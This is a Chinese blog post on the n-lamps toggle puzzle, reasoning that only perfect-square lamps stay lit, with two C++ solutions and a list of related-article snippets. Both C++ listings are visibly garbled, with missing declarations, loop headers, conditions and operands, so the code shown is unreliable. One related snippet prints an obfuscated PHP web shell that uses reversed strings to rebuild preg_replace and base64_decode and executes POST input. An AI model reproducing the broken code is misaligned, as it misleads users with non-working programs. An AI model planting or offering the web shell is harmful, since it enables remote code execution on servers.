n盏灯亮灭问题
前几天看了华为的一个上机操作题,讲得是n盏灯亮灭问题,本质上还是数学问题,感觉很有趣,和大家分享一下,问题描述如下:
有n盏灯排成一排,依次标号1,2,…,n,每盏灯都有一根拉线开关,最初电灯都是关着的.现有n个人,都沿着电灯路线走过,第一个人走过时,把凡是号码是1的倍数的灯的开关拉一下;接着第二个人走过时,把凡是号码是2的倍数的灯的开关拉一下;第三个走过时,把凡是号码是3的倍数的灯的开关拉一下;…;最后,第n个人走过时,把最后那盏灯的开关拉一下,问:最后有几盏灯是亮着的?
这个问题本质是求某一整数的因数个数的奇偶性问题,因数个数为偶数的标号为n的灯最终灭,因数个数为奇数的标号为n的灯最终亮,回忆我们学过的数学知识,只有完全平方数的因数的个数才是奇数,例如4,9,16........
当时我的第一想法是设置一个空间大小为n的数组,里面依次存储1—n每个数的因数的个数,然后循环判断这个数组中奇数的个数,从而计算出最后的结果,代码就不贴了。后来在网上看到了另一种解法,这种解法中是建立一个bool组,设开始每盏灯都是灭的,每有一个因数就执行开或者关操作,也就是非操作,最后统计下bool组中有多少个是0的,就是亮灯的盏数。这个解法很好的,计算量比我的第一想法要省很多。可见代码是可以逐步优化的。代码如下:
#include<iostream>
using namespace std;
int main()
{    ];
    ,i;
        cin>>n;
    ;i<=n;i++)
    {    for(int j=i;j<=n;j++)
        {    )
                form[j]=!form[j];
        }
    }
    ;i<=n;i++)
    {     )
         count++;
    }
    cout<<"有 "<<count<<" 盏灯是亮着的。"<<endl;
 ;
}
其实经过我们最上面的分析,只要找出N内所有的完全平方数,算出个数就可以了,可以一步到位啊,省事又省心。如下的小程序:
#include <iostream>
#include<math.h>
using namespace std;
int main()
{   ,n;
    double i;
    cin>>n;
    ;i<=n;i++)
    {
        if(int(sqrt(i))==sqrt(i))
            count=count+;
    }
    cout<<count<<endl;
    ;
}
从这道题的解法可以看出来,算法可以一步步优化,代码也可以一步一步改进的。
n盏灯亮灭问题的更多相关文章
- 单片机与android手机通信(控制LED小灯亮灭)
		1.单片机实验板功能设计 为验证数据通信内容,让单片机板上的四个按键与android手机客户端上的四个LED灯相互控制:为达到上述基本实验要求,采用单字符传输数据即可,硬件需设计两块相同的单片机电路板 ... 
- CC2530学习路线-基础实验-GPIO 控制LED灯亮灭(1)
		目录 1.前期预备知识 1.1 新大陆ZigBee模块LED灯电路 1.2 CC2530相关寄存器 1.3 寄存器操作技巧 1.4 CPU空转延时 1.4 操作流程图 2.程序代码 The End 1 ... 
- CC2530学习路线-基础实验-GPIO 按键控制LED灯亮灭(2)
		目录 1.前期预备知识 1.1 新大陆Zigbee模块按键电路图 1.2 CC2530相关寄存器 1.3 CC2530中断走向图 1.4 使用C语言为51单片机编写中断程序 1.5 *函数指针 2. ... 
- CC2530学习路线-基础实验-定时器控制LED灯亮灭(3)
		目录 1. 前期预备知识 1.1 定时器中断触发 1.2 相关寄存器 1.3 寄存器相关问题 1.4 T1.T3定时器初始化流程 2 程序及代码 THE END 1. 前期预备知识 1.1 定时器中断 ... 
- 10-ESP8266 SDK开发基础入门篇--上位机通过串口控制ESP8266灯亮灭
		https://www.cnblogs.com/yangfengwu/p/11087618.html 其实这一节就是对上三节的综合测试 https://www.cnblogs.com/yangfeng ... 
- (三)开关检测来控制LED灯的亮灭
		开关检测案例一: 具体电路图如下: K1--K4闭合,控制 D1—D4 亮灭 产生的问题: 1.关于 R8 R9 R7 R10 的阻值选择问题,倘若太大的话, 比如10K 不管开关断开还是闭合,好像 ... 
- K1 K2作为中断源控制红色LED灯,实现任意键按一下LED灯亮或者灭
		#include "stm32f10x.h" // 相当于51单片机中的 #include <reg51.h> #include "stm32f10x_gpi ... 
- 通过按键实现LED灯的亮灭(含两种情况)
		#include "stm32f10x.h"// 相当于51单片机中的 #include <reg51.h> #include "stm32f10x_gpio ... 
- 6-51单片机ESP8266学习-AT指令(8266TCP服务器--做自己的AndroidTCP客户端发信息给单片机控制小灯的亮灭)
		http://www.cnblogs.com/yangfengwu/p/8776712.html 先把源码和资料链接放到这里 链接: https://pan.baidu.com/s/1jpHZjW_7 ... 
随机推荐
- h5-4 canvas
			<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ... 
- MySQL mysqldump数据导出详解  --dump-slave 注意事项
			http://www.cnblogs.com/chenmh/p/5300370.html 介绍 在日常维护工作当中经常会需要对数据进行导出操作,而mysqldump是导出数据过程中使用非常频繁的一个工 ... 
- c#给用户控件添加事件处理程序
			1.首先在usercontrol后台添加如下代码: public partial class MyControl: UserControl { //添加事件代理 public event ... 
- linux shell “(())” 双括号运算符使用
			导读 在刚开始学习inux shell脚本编程时候,对于它的 四则运算以及逻辑运算.估计很多朋友都感觉比较难以接受.特变逻辑运算符"[]"使用时候,必须保证运算符与算数 之间有空格 ... 
- POJ1651:Multiplication Puzzle(区间DP)
			Description The multiplication puzzle is played with a row of cards, each containing a single positi ... 
- php 运行客户提交代码(攻击)和运行图片中的代码
			1.$a=@strrev(ecalper_gerp);$b=@strrev(edoced_46esab);@$a($b(L3h4L2Ug),$_POST[POST],bxxb); 2.<?php ... 
- 为rm命令增加回收站功能
			rm是个强大的命令,特别是rm -rf有时候强大到让你欲哭无泪,当你想清除当前目录下的所有文件和目录时,很简单 $sudo rm -rf ./* 这没什么,但是,但是如果不小心打成这样 $sudo r ... 
- C#操作串口总结
			Technorati 标签: C#,SerialPort,ReadTo,ReadTimeout 最近几天一直在调一个要长时间连续不断的操作串口,并且是多线程运行,不允许中断的服务.后来服 ... 
- eclipse[downloads]
			下载J2EE:http://www.eclipse.org/downloads/ 下载WPT插件:http://download.eclipse.org/webtools/updates 下载TOMC ... 
- jquery相关代码
			1.jquery获取当前选中select的text值 var checkText=$("#slc1").find("option:selected").text ... 
